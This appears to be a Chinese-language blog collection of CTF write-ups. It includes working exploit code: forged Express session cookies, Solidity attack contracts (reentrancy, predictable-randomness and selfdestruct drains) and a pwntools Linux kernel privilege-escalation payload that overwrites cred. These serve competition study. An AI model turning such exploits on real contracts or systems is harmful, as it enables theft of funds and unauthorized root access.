然後這個網站看起來是用 express 架的然後放 jekyll 產的 blog,既然是 js project 先看個 package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": "app",
"version": "1.0.0",
"description": "",
"scripts": {
"start": "node chill.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "djosix",
"license": "ISC",
"dependencies": {
"cookie-session": "^1.4.0",
"express": "^4.17.1"
}
}

然後就看到原始碼叫做 chill.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require('express');
const session = require('cookie-session');

let app = express();

app.use(session({
secret: "I'm watching you."
}));

app.use('/', express.static('./'));

app.get('/flag.txt', (req, res) => {
res.setHeader('Content-Type', 'text/plain');

let n = req.session.magic;

if (n && (n + 420) === 420)
res.sendFile('/flag');
else
res.send('you are a sad person too');
});

app.get('*', function(req, res){
res.status(404).sendFile('404.html', { root: __dirname });
});

app.listen(process.env.PORT, '0.0.0.0');

看起來只要讓他的 n && (n + 420) === 420 就可以讀 flag 了,以前就很常看到 FB 上有人 po 一些 js 的梗圖說明 js 很古怪的行為,隨便看了幾張複習一下,就想到有浮點數誤差的問題,所以 n 設成 0.00000000000001 就可以了,n 是從 req.session.magic 抓的,所以我們要設 req.session.magic 的話,最簡單的方式就是自己把 server 架起來,然後多加一行 req.session.magic = 0.00000000000001,就可以產出 express:sessexpress:sess.sig 兩個 Cookie 了,sig 是用前面設定的 secret: "I'm watching you." 算出來的,詳情可以看 cookie-session

1
AIS3{h4v3_y0u_r34d_7h3_rh1n0_b00k?}

[Writeups] VolgaCTF Quals 2020 - F-Hash

這題給了一個 x86-64 ELF Executable,直接跑下去跑不出來,一直卡在那裡,逆向一下會發現 13B0 這個函式是一個遞迴函式,他的虛擬碼大概長下面這樣,會一直遞迴呼叫前兩層的答案,很明顯的有很多重複的子問題,這時候就是要用 Dynamic Programming 的思路來把算過的答案記下來就不會跑那麼久了,所以這題就是要優化這個函式,把程式跑完就會印出 flag。

1
2
3
4
5
def _13B0(depth, a, b):
...
r1 = _13B0(depth - 1, a, b)
r2 = _13B0(depth - 2, a, b)
...

以下提供三種解法,讀者可以跟著練習一下。

Rewrite Function with Python

最直覺的方法就是把 IDA decompile 出來的 code 搬到 python 上重寫一下,沒什麼技術,這是我在賽中用的方法,但就是要注意一下型態的問題,比如兩個 unsigned int 相乘可能 overflow 在 python 裡面要 mod (1 << 32),更多細節請看下面的程式碼。

solve-rewrite.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

table = [0]
for i in range(26):
table += [i * 10 + 1 + (0xf6 << 120)] * 10

def bitcountsum(a, b):
a %= (1 << 64)
b %= (1 << 64)
return bin(a).count('1') + bin(b).count('1')

def calc(a, b, depth = 256):
ans = [0]
ans.append((bitcountsum(a, b), 0, 0))
ans.append((bitcountsum(a ^ 1, b), 0, 1))

for i in range(3, depth + 1):
v15, v16 = ans[i - 1], ans[i - 2]
v13 = ((v15[0] + v15[1] * (1 << 64)) + (v16[0] + v16[1] * (1 << 64)) + bitcountsum((v15[2] + v16[2]) ^ a, b)) % (1 << 128)
v14 = table[i]
while True:
if (v14 >> 64) > (v13 >> 64):
break
if (v14 >> 64) == (v13 >> 64):
if v14 % (1 << 64) >= v13 % (1 << 64):
break
k = max(1, (v13 >> 64) // (v14 >> 64))
v13 = (v13 - k * v14) % (1 << 128)
ans.append((v13 % (1 << 64), (v13 >> 64), (v15[2] + v16[2]) % (1 << 64)))
return ans

al = [0x6369757120656854, 0x706d756a20786f66, 0x20797a616c206568, 0]
bl = [0x206e776f7262206b, 0x74207265766f2073, 0x80676f64, 0x2b]

for a, b in zip(al, bl):
print(list(map(hex, calc(a, b)[256])))

GDB

另一個方法是我在賽後看 別人 用的,在 gdb 寫 python 去 hook 13B0 的開頭和結尾,在開頭判斷這組參數有沒有出現過了,跑過就把參數的 depth 設成 1 也就是 base case 讓他不要再往下遞迴了,而因為同一組函式的 Start, End Hook 沒辦法共享資訊,所以需要維護一個 state 來放目前的參數,在結尾的時候一樣是看這組參數有沒有出現過,有就把答案寫上去,沒有就把答案存起來下次就不會再跑一次了。

solve-gdb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import gdb

def register(name):
return int(gdb.parse_and_eval(name))

def read(address, size):
inf = gdb.inferiors()[0]
return inf.read_memory(address, size).tobytes()

def write(address, buf):
inf = gdb.inferiors()[0]
inf.write_memory(address, buf)

memory = {}
state = []

class Start(gdb.Breakpoint):
def __init__(self, location):
super(Start, self).__init__(spec = location, type = gdb.BP_BREAKPOINT, internal = False, temporary = False)
def stop(self):
state.append((register('$rdi'), register('$rsi'), register('$rdx'), register('$rcx')))
if memory.get(state[-1][1:]) is not None:
gdb.execute('set $rsi = 1')

class End(gdb.Breakpoint):
def __init__(self, location):
super(End, self).__init__(spec = location, type = gdb.BP_BREAKPOINT, internal = False, temporary = False)
def stop(self):
global state
buf, h = state[-1][0], state[-1][1:]
if memory.get(h) is None:
memory[h] = (read(buf, 8), read(buf + 8, 8), read(buf + 16, 8))
else:
write(buf, memory[h][0])
write(buf + 8, memory[h][1])
write(buf + 16, memory[h][2])
state = state[:-1]

Start(f'*{0x0000555555554000 + 0x13b0}')
End(f'*{0x0000555555554000 + 0x1424}')

gdb f-hash 之後,在 gdb 裡面執行 source solve-gdb.py 就可以跑上面的程式碼了
或是也可以在執行 gdb 的時候就載入 gdb -x solve-gdb.py f-hash

Frida

這個方法也是我賽後看 別人 用的,frida 真的是好東西,之前剛好有研究一點 frida,第一次用在比賽中,基本上跟前一個解法一樣去 hook 函式的開頭和結尾,不過 frida 又更方便了,請看下面程式碼。

solve-frida.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var base = ptr(Process.enumerateModulesSync()[0].base)
var recursive_func_ptr = base.add(0x13b0)

var mem = {}
Interceptor.attach(recursive_func_ptr, {
onEnter: function (args) {
this.buf = args[0]
this.hash = args[1] + '-' + args[2] + '-' + args[3]
if (mem[this.hash] !== undefined) {
args[1] = ptr(1)
}
},
onLeave: function (retval) {
if (mem[this.hash] === undefined) {
mem[this.hash] = [this.buf.readU64(), this.buf.add(8).readU64(), this.buf.add(16).readU64()]
} else {
this.buf.writeU64(mem[this.hash][0])
this.buf.add(8).writeU64(mem[this.hash][1])
this.buf.add(16).writeU64(mem[this.hash][2])
}
}
})

最後執行 frida --no-pause --runtime=v8 -l solve-frida.js ./f-hash 就可以了

Flag

1
VolgaCTF{16011432ba16efc8dcf779477985b3b9}

  1. https://github.com/OAlienO/CTF/tree/master/2020/VolgaCTF/F-Hash
  2. https://pastebin.com/Dj6wteXk
  3. https://sectt.github.io/writeups/Volga20/f-hash/README

SROP ( Sigreturn Oriented Programming )

Signal

一支程式接到 signal 後

  1. kernel 會幫你把上下文 ( 各種暫存器 ) 保留到 stack 上,叫做 Signal Frame
  2. 跳回 user mode,讓 signal handler 處理
  3. signal handler 處理完會 return 回 __restore_rt,這個 function 裡面就是 mov rax, 0xf; syscall,去呼叫 sys_rt_sigreturn syscall,把上下文恢復 Signal Frame

SigReturn ROP

在做 ROP 的時候需要設定許多暫存器的值
這時候就可以用 SROP 的技巧
自己在 stack 上擺好 Signal Frame,然後呼叫 sys_rt_sigreturn syscall
就可以一次設定好所有的暫存器
缺點是需要夠大的空間塞下整個 Signal Frame

sys_rt_sigreturn syscall gadget

哪裡有 mov rax, 0xf; syscall 的 gadget 可以用

  1. libc 裡面的 __restore_rt
  2. 自己用 ROP 設定好 rax, 再接 syscall gadget

pwntools SigFrame

1
2
3
4
5
6
7
8
9
frame = SigreturnFrame()
frame.rsp = 0
frame.rax = 0
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rip = 0

rop = bytes(frame)

CTF 題目

pwnable.kr - unexploitable


  1. https://www.slideshare.net/AngelBoy1/sigreturn-ori
  2. http://weaponx.site/2017/02/28/unexploitable-Writeup-pwnable-kr/

[Writeups] Security Innovation Blockchain CTF

Donation

這題是簽到題
就只是讓我們呼叫合約裡面的這個函式 withdrawDonationsFromTheSuckersWhoFellForIt

Lock Box

這題有個 privatepin 變數,但是 private 只是代表那個變數沒有 getter 函式,把合約的狀態抓下來就看光光啦
使用 web3.eth.getStorageAt 這個函式
父合約的變數會在子合約的變數的前面
所以 position 0 的位址是 authorizedToPlay,而 position 1 的位址就是 pin
變數在 storage 裡面怎麼擺的可以參考這篇 Understanding Ethereum Smart Contract Storage

Piggy Bank

這題直接呼叫 collectFunds 就好了
只有 PiggyBankcollectFundsonlyOwnerCharliesPiggyBankcollectFunds 沒有 onlyOwner

SI Token Sale

這題的 purchaseTokens 沒有用 SafeMath,也沒有檢查 _value 要大於 feeAmount
先轉個 0.000001 給合約,這樣 0.000001 - 0.00001 就會 underflow 變成很大的數字,就得到了超多的 token
然後再用 refundTokens 就可以半價把 token 換成 ether 錢錢了

Secure Bank

SecureBankwithdrawMembersBankwithdraw 其中的 _value 參數形態不一樣
他們會被看成是不一樣的函式,所以會有兩個不一樣的型態 withdraw 可以呼叫
MembersBankwithdraw 沒有檢查是不是本人,所以就直接把 contract creator 的錢領走

Lottery

這題要猜 entropy^entropy2 的值,猜到就可以拿走裡面的錢錢

entropy = blockhash(block.number),但是我們沒辦法知道這個 block 的 blockhash,因為這個 block 還沒算完
但這樣寫不會有錯誤,只是出來的值會是 0
既然 entropy = 0 那就只剩 entropy2,而 entropy2 是根據 msg.sender 來的
所以我們可以直接算出 _seed 的值
可以直接用 remix 寫個簡單的 smart contract 幫我們算那個值,然後利用 event 來印出那個值 ( 當 print 用 )

1
2
3
4
5
6
7
8
9
pragma solidity ^0.5.9;

contract test {
event Log(bytes32 value);

function go () public {
emit Log(keccak256(abi.encodePacked(msg.sender)));
}
}

或是直接寫一個攻擊合約,去呼叫 play 函式
記得要先把這個合約加到 authorizedToPlay,如果是 gas 不夠就調高 gas limit 吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.5.9;

import "./challenge.sol";

contract hack {
function exploit(address payable _target) public payable {
Lottery target = Lottery(_target);

bytes32 entropy2 = keccak256(abi.encodePacked(this));
uint256 seeds = uint256(entropy2);

target.play.value(msg.value)(seeds);

msg.sender.transfer(address(this).balance);
}
}

Trust Fund

這題是經典的 reentrant attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.9;

contract TrustFund {
function withdraw() external {}
}

contract hack {
address target = 0xd297ab1c9653295BdE4f6b2e32574Ac5DD994997;
uint count = 10;

function () external payable {
if (count > 0) {
count--;
TrustFund trust = TrustFund(target);
trust.withdraw();
}
}

function exploit () public {
TrustFund trust = TrustFund(target);
trust.withdraw();
}

function withdraw () public {
msg.sender.transfer(address(this).balance);
}
}

Heads or Tails

這題跟 Lottery 很像,不過用的是上一個 block 的 blockhash
那就寫個攻擊合約去呼叫 play,就可以算出一樣的 entropy
0.1 ether 能賺 0.05 ether,所以玩個 20 次就把錢全部撈出來啦
記得要寫 fallback 函式才能接錢進來呀 ( 我這裡卡超久der )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.5.9;

contract HeadsOrTails {
function play(bool _heads) external payable {}
}

contract hack {
address target = 0xf8583ccB9900615e0b8304A16539EBFD96c2B0af;

function () external payable {}

function exploit () public payable {
bytes32 entropy = blockhash(block.number - 1);
bool coinFlip = (entropy[0] & '\x01') == '\x01';

HeadsOrTails heads = HeadsOrTails(target);

for (uint i = 0; i < 20; i++) {
heads.play.value(0.1 ether)(coinFlip);
}

msg.sender.transfer(address(this).balance);
}
}

Record Label

這題的題目很長,主要的邏輯就是你領錢的時候會被 royalties 抽成,manager 會抽成 80 趴的錢錢
所以如果直接呼叫 withdrawFundsAndPayRoyalties 就可以拿到 0.2 etherroyalties 抽走 0.8 ether,這題就解掉了 ( 題目合約 balance = 0 )
不過正確的解法 ( 我全都要 ) 應該是找出 _manager 的地址,然後呼叫 addRoyaltyReceiverreceiverToPercentOfProfit 這個 mapping 中 _manager 的 percent 覆寫成 0
這樣去領錢就不會被抽成了

Slot Machine

這題的題目很短,就一個 fallback 函式
但是第一行限制一次只能匯款 1 szabo ( 0.000001 ether )
目標是要讓這個合約的 balance 大於等於 5 ether,他就會把所有錢錢都給你
其中一個不透過 fallback 給錢的方法就是用 selfdestruct
selfdestruct 就是把合約清除掉,在被清除掉之前,這個合約可以把他的錢錢匯款給一個帳戶,而這個匯款的動作不會經過 fallback 函式
寫一個攻擊合約,並給他 5 ether,讓他自我毀滅,並在毀滅之前把 5 ether 匯款給題目合約

1
2
3
4
5
6
7
pragma solidity ^0.5.9;

contract hack {
function exploit () public payable {
selfdestruct(address(0x22f616f6b95e23efa8FBBAE44BeeC05890E12A4E));
}
}

  1. https://f3real.github.io/tag/ethereum.html
  2. https://xz.aliyun.com/t/2759

[Writeups] TSG CTF 2019 - OPQRX

Can you decrypt RSA? I’ll give a hint value, XOR.
ここにRSAの暗号文がありますが、XORをあげるので、代わりに平文をください。

分數 解題人數
497 10

Writeups

題目很簡單,RSA 加密,多給了 $p \oplus q$ 的值

$$
\begin{align}
&p \oplus q = x \\
&p \times q = n \\
\end{align}
$$

已知 $x, n$ 求 $p, q$

假設 $x$ 的第一個 bit 是 0,那麼 $p, q$ 的第一個 bit 只有 $(0, 0)$ 或 $(1, 1)$ 兩種可能
假設 $x$ 的第一個 bit 是 1,那麼 $p, q$ 的第一個 bit 只有 $(0, 1)$ 或 $(1, 0)$ 兩種可能

所以就直接爆搜加剪枝就過了,驚不驚喜,意不意外

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from Crypto.Util.number import *
from tqdm import tqdm

class Solver:
def __init__(self, x, n):
self.x = x
self.n = n
self.pq = [(0, 0)]

def add(self, b, p, q):
if p * q <= n and (p | (b - 1)) * (q | (b - 1)) >= n:
self.pq.append((p, q))

def solve(self):
for shift in tqdm(range(4095, -1, -1)):
b = 1 << shift
pq, self.pq = self.pq, []
for p, q in pq:
if self.x & b:
self.add(b, p | b, q)
self.add(b, p, q | b)
else:
self.add(b, p, q)
self.add(b, p | b, q | b)
return self.pq[0]

exec(open('flag.enc').read().lower())
solver = Solver(x, n)
p, q = solver.solve()
r = (p - 1) * (q - 1)
d = inverse(e, r)
m = pow(c, d, n)
print(long_to_bytes(m))

Flag

1
TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}

  1. https://furutsuki.hatenablog.com/entry/2019/05/05/163313#Crypto-497pts-10-Solves-OPQRX

[Writeups] Teaser Confidence CTF Quals 2019 - p4fmt

Kernel challs are always a bit painful. No internet access, no SSH, no file copying. You’re stuck with copy pasting base64’d (sometimes static) ELFs. But what if there was another solution? We’ve created a lightweight, simple binary format for your pwning pleasure. It’s time to prove your skills.
nc p4fmt.zajebistyc.tf 30002

分數 解題人數
304 10

Writeup

題目檔案解壓縮後有三個檔案 bzImage, initramfs.cpio.gz, run.sh

bzImage 是壓縮過的 linux kernel
initramfs.cpio.gz 是臨時的檔案系統
run.sh 裡面用 qemu-system-x86_64 把 kernel 跑起來

不熟悉 linux kernel debug 可以參考 Debug Kernel

First Glance

run.sh 跑起來後就會跑 linux kernel 彈出一個 shell
ls 一下可以看到三個比較重要的檔案 init, p4fmt.ko, flag
直接嘗試 cat flag 會得到 Permission denied
因為我們拿到的使用者是 pwnflag 只有 root 有權限讀
init 裡面有一行 insmod /p4fmt.ko 加載 p4fmt.ko 這個內核模塊
看來我們的目標就是利用 p4fmt.ko 裡面的漏洞提權拿 root 權限,就可以 cat flag

前置作業

解壓 initramfs.cpio.gz

可以先用 binwalkinitramfs.cpio.gz 的檔案系統拉出來

1
2
x initramfs.cpio.gz
binwalk -e initramfs.cpio

修改 init

1
setsid cttyhack su root

修改 init 讓我們有 root 權限,這樣才看得到 p4fmt.ko 內核模塊載入後的位址,等等才方便下斷點
修改完重新打包 initramfs.cpio.gz

1
find . -print0 | cpio --null --create --format=newc | gzip --best > ../initramfs.cpio.gz

修改 run.sh

1
-gdb tcp:127.0.0.1:6666

開了 gdb server 後,就可以用 gdb 連上去 debug 了
首先先取得 p4fmt 內核模塊的位址
可以用 lsmodcat /proc/modules ( 必須有 root 權限 )

gdb
1
2
3
(gdb) target remote :6666
(gdb) add-symbol-file p4fmt.ko 0xffffffffc0288000
(gdb) b load_p4_binary # 這是 p4fmt 主要的函式等等逆向會看到
"取得 p4fmt 位址"
1
2
3
4
/ # lsmod
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)
/ # cat /proc/modules
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)

逆向

起手式一樣 IDA 打開 ( 好像很多人改用 ghidra 了 O_O )
但是這次的反編譯有點糟,大部分還是看組語配 gdb
這個內核模塊主要的功能就是註冊一個新的執行檔格式 ( binary format )

1
2
3
4
5
6
7
int __init p4fmt_init (void) {
_register_binfmt(&p4format, 1);
}

void __exit p4fmt_init (void) {
unregister_binfmt(&p4format);
}

p4format 是一個 linux_binfmt 的結構

1
2
3
4
5
6
7
8
struct linux_binfmt {
struct list_head lh;
struct module *module;
int (*load_binary)(struct linux_binprm *);
int (*load_shlib)(struct file *);
int (*core_dump)(struct coredump_params *cprm);
unsigned long min_coredump; /* minimal dump size */
} __randomize_layout;

其中的 load_binary 這個指標就是指向負責建立環境把程式跑起來的函式
而在這裡就是指向 load_p4_binary 這個函式 ( 一般的 ELF 執行檔是 load_elf_binary )

1
2
3
int load_p4_binary (linux_binprm *bprm) {
...
}

linux_binprm 會先讀檔案的前 128 bytes 放進 bprm->buf
因為有這個結構有 __randomize_layout,所以結構成員的順序是隨機的
這題的 bprm->buf0x48 開始 128 bytes,可見下圖

程式一開始會先檢查前兩個 bytes 是不是 P4
接著檢查第三個 byte 是不是 \x00,不是的話會噴 Unknown version
接著第四個 byte 可以是 \x00\x01\x00 的話會進簡單的路線,\x01 會進複雜的路線
接著四個 bytes 代表後面有幾個 mapping
接著八個 bytes 代表 mapping 的開頭在 buf 的 offset
接著八個 bytes 擺的是 entry point 的位址
其他的部分基本上跟 load_elf_binary 一樣

simple
1
vm_mmap(bprm->file, *(QWORD *)(bprm + 0x50), 0x1000, *(QWORD *)(bprm + 0x50) & 7, 2, 0);
complex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct p4_mapping {
long load_addr;
long length;
long offset;
};

int mapping_count = *(int *)(bprm->buf + 4);
long mapping_offset = *(long *)(bprm->buf + 8);

p4_mapping *mapping = bprm->buf + mapping_offset;

for (int i = 0; i < mapping_count; i++, mapping++) {
long addr = mapping->load_addr & 0xFFFFFFFFFFFFF000;
long prot = mapping->load_addr & 7;

printk("vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n", addr, mapping->length, mapping->offset, prot);

if (mapping->load_addr & 8) {
// 這裡就是要初始化一段記憶體,類似 .bss 段
vm_mmap(0, addr, mapping->length, prot, 2, mapping->offset);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", mapping->load_addr, mapping->length);
_clear_user(mapping->load_addr, mapping->length);
} else {
// 這裡是要把檔案掛上去,類似 .text 段
vm_mmap(bprm->file, addr, mapping->length, prot, 2, mapping->offset);
}
}

漏洞

mapping_count 改大可以 leak linux_binprm 其他欄位的值
_clear_user 沒有檢查,可以把 kernel 上任意位址的值清空
linux_binprm 有一個 cred 的結構,裡面存的就是 uid, gid
所以我們只要 leak 出這個 cred 的位址,然後用 _clear_user 清成 0,我們的程式就是 root 權限了 ( root 的 uid 是 0 )

嘗試

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(1) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400030) # entry

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0
)

payload += asm(shellcraft.echo("test\n") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

先寫個簡單的 p4 格式的執行檔測試一下我們的理解是不是對的

command
1
echo UDQAAQEAAAAYAAAAAAAAADAAQAAAAAAABwBAAAAAAAAAEAAAAAAAAAAAAAAAAAAASLgBAQEBAQEBAVBIuHVkcnULAQEBSDEEJGoBWGoBX2oFWkiJ5g8FajxYDwU= | base64 -d > a ; chmod +x a ; ./a
output
1
2
[50353.170813] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
test

接下來要找 cred 的位址,因為 pwnuid 是 1000 ( = 0x3e8 )
所以我們把使用者切換成 pwn,切成 pwn 之後要在 /tmp 才可以寫檔
然後把 mapping_count 改大一點,比如 6,在他印出的位址指向的值中找 0x3e8

1
2
3
4
5
6
7
8
[50800.668734] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
[50800.674080] vm_mmap(load_addr=0x10101010101b000, length=0x726475b848500101, offset=0x431480101010b75, prot=0)
[50800.674550] clear_user(addr=0x10101010101b848, length=0x726475b848500101)
[50800.675372] vm_mmap(load_addr=0x6a5f016a58016000, length=0x6a050fe689485a05, offset=0x50f583c, prot=4)
[50800.675786] vm_mmap(load_addr=0x0, length=0x0, offset=0x0, prot=0)
[50800.676003] vm_mmap(load_addr=0x0, length=0x7fffffffef99, offset=0x100000001, prot=0)
[50800.676260] vm_mmap(load_addr=0x0, length=0xffffa1c307595b40, offset=0x0, prot=0)
test

找了一找發現在第六個 vm_mmap0xffffa1c307595b40 這個位址是 cred
但是這個位址每次跑起來都不一樣,不過多跑幾次會發現,這個值會一直循環重複利用,所以只要多跑幾次就會對了

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(2) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400048) # entry

leak_cred = 0xffff9855c758c0c0

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0,

(leak_cred | 8) + 0x10,
0x20,
0
)

payload += asm(shellcraft.cat("/flag") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

  1. https://github.com/david942j/ctf-writeups/tree/master/teaser-confidence-quals-2019/p4fmt
  2. https://devcraft.io/2019/03/19/p4fmt-confidence-ctf-2019-teaser.html
  3. https://amritabi0s.wordpress.com/2019/03/19/confidence-ctf-p4fmt-write-up/
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×